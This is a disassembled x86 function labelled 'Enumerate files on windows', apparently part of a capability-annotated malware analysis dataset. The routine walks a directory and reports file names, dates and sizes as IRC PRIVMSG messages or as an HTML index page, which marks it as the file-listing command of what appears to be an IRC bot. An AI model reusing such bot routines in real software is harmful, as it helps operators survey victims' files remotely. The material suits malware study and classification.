Function at 0x40d72d
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5b4
and dword [ebp - 0x1c], 0
and dword [ebp - 0x18], 0
mov dword [ebp - 8], 0xe6
mov dword [ebp - 0xc], 0x96
mov dword [ebp - 0x10], 0x3c
mov dword [ebp - 4], 0x1e
push 0x104
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.0041ecc0
add esp, 0xc
push 0x442dfc
push dword [ebp + 8]
call fcn.00420380
pop ecx
pop ecx
cmp dword [ebp + 0x10], 0
je 0x40d7a9
push dword [ebp + 8]
push dword [ebp + 0x10]
push str.PRIVMSG__s_:Searching_for:__s_r_n
push 0x200
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x14
jmp 0x40d8c5
cmp dword [ebp + 0x14], 0
je 0x40d8a9
push dword [ebp + 8]
call fcn.0041ec40
pop ecx
mov ecx, dword [ebp + 8]
and byte [ecx + eax - 1], 0
push dword [ebp + 8]
push str._HTML__r_n_HEAD__r_n_TITLE_Index_of__s__TITLE__r_n__HEAD__r_n_BODY__r_n
push 0x200
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x10
push 0
lea eax, [ebp - 0x590]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x590]
push eax
push dword [ebp + 0xc]
call dword [0x4e3574]
push dword [ebp + 8]
push str._H1_Index_of__s__H1__r_n_TABLE_BORDER_0___r_n
push 0x200
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x10
push 0
lea eax, [ebp - 0x590]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x590]
push eax
push dword [ebp + 0xc]
call dword [0x4e3574]
push dword [ebp + 8]
call fcn.0041ec40
pop ecx
mov ecx, dword [ebp + 8]
mov byte [ecx + eax], 0x2a
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push dword [ebp - 8]
push str._TR__r_n_TD_WIDTH__d___CODE_Name__CODE___TD__r_n_TD_WIDTH__d___CODE_Last_Modified__CODE___TD__r_n_TD_WIDTH__d__ALIGN_right___CODE_Size__CODE___TD__r_n__TR__r_n
push 0x200
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x18
push 0
lea eax, [ebp - 0x590]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x590]
push eax
push dword [ebp + 0xc]
call dword [0x4e3574]
push str._TR__r_n_TD_COLSPAN_3___HR___TD__r_n__TR__r_n
push 0x200
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0xc
jmp 0x40d8c5
push dword [ebp + 8]
push str.Searching_for:__s_r_n
push 0x200
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x10
push 0
lea eax, [ebp - 0x590]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x590]
push eax
push dword [ebp + 0xc]
call dword [0x4e3574]
cmp dword [ebp + 0x14], 0
je 0x40d99a
push dword [ebp + 0x14]
call fcn.0041ec40
pop ecx
cmp eax, 2
jbe 0x40d99a
push dword [ebp + 0x14]
call fcn.0041ec40
pop ecx
sub eax, 3
mov dword [ebp - 0x5ac], eax
jmp 0x40d922
mov eax, dword [ebp - 0x5ac]
dec eax
mov dword [ebp - 0x5ac], eax
cmp dword [ebp - 0x5ac], 0
je 0x40d940
mov eax, dword [ebp + 0x14]
add eax, dword [ebp - 0x5ac]
movsx eax, byte [eax]
cmp eax, 0x2f
jne 0x40d93e
jmp 0x40d940
jmp 0x40d915
mov eax, dword [ebp - 0x5ac]
inc eax
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0x228]
push eax
call fcn.0041ed20
add esp, 0xc
lea eax, [ebp - 0x228]
push eax
push str._TR__r_n_TD_COLSPAN_3___A_HREF__s___CODE_Parent_Directory__CODE___A___TD__r_n__TR__r_n
push 0x200
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x10
push 0
lea eax, [ebp - 0x590]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x590]
push eax
push dword [ebp + 0xc]
call dword [0x4e3574]
lea eax, [ebp - 0x390]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x390]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40de7e
cmp dword [ebp - 0x390], 0
je 0x40de79
push 0x442fbc
lea eax, [ebp - 0x364]
push eax
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x40de79
push 0x442fc0
lea eax, [ebp - 0x364]
push eax
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x40de79
lea eax, [ebp - 0x5a8]
push eax
lea eax, [ebp - 0x37c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
lea eax, [ebp - 0x5a0]
push eax
lea eax, [ebp - 0x5a8]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
movzx eax, word [ebp - 0x598]
cmp eax, 0xc
jle 0x40da48
mov dword [ebp - 0x5b0], 0x442fc4
jmp 0x40da52
mov dword [ebp - 0x5b0], 0x442fc8
movzx eax, word [ebp - 0x598]
cmp eax, 0xc
jle 0x40da70
movzx eax, word [ebp - 0x598]
sub eax, 0xc
mov dword [ebp - 0x5b4], eax
jmp 0x40da7d
movzx eax, word [ebp - 0x598]
mov dword [ebp - 0x5b4], eax
push dword [ebp - 0x5b0]
movzx eax, word [ebp - 0x596]
push eax
push dword [ebp - 0x5b4]
movzx eax, word [ebp - 0x5a0]
push eax
movzx eax, word [ebp - 0x59a]
push eax
movzx eax, word [ebp - 0x59e]
push eax
push str._2.2d__2.2d__4d___2.2d:_2.2d__s
lea eax, [ebp - 0x250]
push eax
call fcn.0041ee40
add esp, 0x20
mov eax, dword [ebp - 0x390]
and eax, 0x10
test eax, eax
je 0x40dc9b
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp + 0x10], 0
je 0x40db2a
lea eax, [ebp - 0x364]
push eax
push 0x442fec
push 0x106
lea eax, [ebp - 0x124]
push eax
call fcn.0041f000
add esp, 0x10
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x124]
push eax
push dword [ebp + 0x10]
push str.PRIVMSG__s_:__31s____21s_n
push 0x200
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x18
jmp 0x40dc96
cmp dword [ebp + 0x14], 0
je 0x40dc4f
push dword [ebp - 8]
push 0x443010
push 0x1ff
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x10
push 0
lea eax, [ebp - 0x590]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x590]
push eax
push dword [ebp + 0xc]
call dword [0x4e3574]
lea eax, [ebp - 0x364]
push eax
push dword [ebp + 0x14]
push 0x443030
push 0x1ff
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x14
push 0
lea eax, [ebp - 0x590]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x590]
push eax
push dword [ebp + 0xc]
call dword [0x4e3574]
lea eax, [ebp - 0x364]
push eax
call fcn.0041ec40
pop ecx
cmp eax, dword [ebp - 4]
jbe 0x40dbe7
lea eax, [ebp - 0x364]
push eax
push str.___CODE__.29sgt____CODE___A_
push 0x1ff
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x10
jmp 0x40dc07
lea eax, [ebp - 0x364]
push eax
push str.___CODE__s___CODE___A_
push 0x1ff
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x10
push 0
lea eax, [ebp - 0x590]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x590]
push eax
push dword [ebp + 0xc]
call dword [0x4e3574]
push dword [ebp - 0x10]
lea eax, [ebp - 0x250]
push eax
push dword [ebp - 0xc]
push str.__TD__r_n_TD_WIDTH__d___CODE__s__CODE___TD__r_n_TD_WIDTH__d__ALIGN_right___CODE____CODE___TD__r_n__TR__r_n
push 0x1ff
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x18
jmp 0x40dc96
lea eax, [ebp - 0x364]
push eax
push str.__s_
push 0x106
lea eax, [ebp - 0x124]
push eax
call fcn.0041f000
add esp, 0x10
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x124]
push eax
push str.__31s____21s_r_n
push 0x200
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x14
jmp 0x40de48
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp + 0x10], 0
je 0x40dce9
mov eax, dword [ebp - 0x370]
xor ecx, ecx
push ecx
push eax
call fcn.0040e1e2
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x364]
push eax
push dword [ebp + 0x10]
push str.PRIVMSG__s_:__31s____21s___s_bytes__n
push 0x200
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x1c
jmp 0x40de48
cmp dword [ebp + 0x14], 0
je 0x40de1b
push dword [ebp - 8]
push str._TR__r_n_TD_WIDTH__d___A_HREF_
push 0x1ff
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x10
push 0
lea eax, [ebp - 0x590]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x590]
push eax
push dword [ebp + 0xc]
call dword [0x4e3574]
lea eax, [ebp - 0x364]
push eax
push dword [ebp + 0x14]
push 0x443138
push 0x1ff
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x14
push 0
lea eax, [ebp - 0x590]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x590]
push eax
push dword [ebp + 0xc]
call dword [0x4e3574]
lea eax, [ebp - 0x364]
push eax
call fcn.0041ec40
pop ecx
mov ecx, dword [ebp - 4]
inc ecx
cmp eax, ecx
jbe 0x40dda9
lea eax, [ebp - 0x364]
push eax
push str.___CODE__.30sgt___CODE___A_
push 0x1ff
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x10
jmp 0x40ddc9
lea eax, [ebp - 0x364]
push eax
push str.___CODE__s__CODE___A_
push 0x1ff
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x10
push 0
lea eax, [ebp - 0x590]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x590]
push eax
push dword [ebp + 0xc]
call dword [0x4e3574]
mov eax, dword [ebp - 0x370]
shr eax, 0xa
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x250]
push eax
push dword [ebp - 0xc]
push str.__TD__r_n_TD_WIDTH__d___CODE__s__CODE___TD__r_n_TD_WIDTH__d__ALIGN_right___CODE__dk__CODE___TD__r_n__TR__r_n
push 0x1ff
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x1c
jmp 0x40de48
push dword [ebp - 0x370]
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x364]
push eax
push str.__31s____21s___i_bytes__r_n
push 0x200
lea eax, [ebp - 0x590]
push eax
call fcn.0041f000
add esp, 0x18
push 0
lea eax, [ebp - 0x590]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x590]
push eax
push dword [ebp + 0xc]
call dword [0x4e3574]
cmp dword [ebp + 0x10], 0
je 0x40de79
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40d9ad
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 0x10], 0
je 0x40dec2
mov eax, dword [ebp - 0x18]
cdq
push edx
push eax
call fcn.0040e1e2
pop ecx
pop ecx
push eax
mov eax, dword [ebp - 0x1c]
cdq
push edx
push eax
call fcn.0040e1e2
pop ecx
pop ecx
push eax
push dword [ebp + 0x10]
push str.PRIVMSG__s_:Found__s_Files_and__s_Directories_n
lea eax, [ebp - 0x590]
push eax
call fcn.0041ee40
add esp, 0x14
jmp 0x40def7
cmp dword [ebp + 0x14], 0
je 0x40dedd
push str._TR__r_n_TD_COLSPAN_3___HR___TD__r_n__TR__r_n__TABLE__r_n__BODY__r_n__HTML__r_n
lea eax, [ebp - 0x590]
push eax
call fcn.0041ee40
pop ecx
pop ecx
jmp 0x40def7
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push str.Found:__i_Files_and__i_Directories_r_n
lea eax, [ebp - 0x590]
push eax
call fcn.0041ee40
add esp, 0x10
push 0
lea eax, [ebp - 0x590]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x590]
push eax
push dword [ebp + 0xc]
call dword [0x4e3574]
xor eax, eax
leave
ret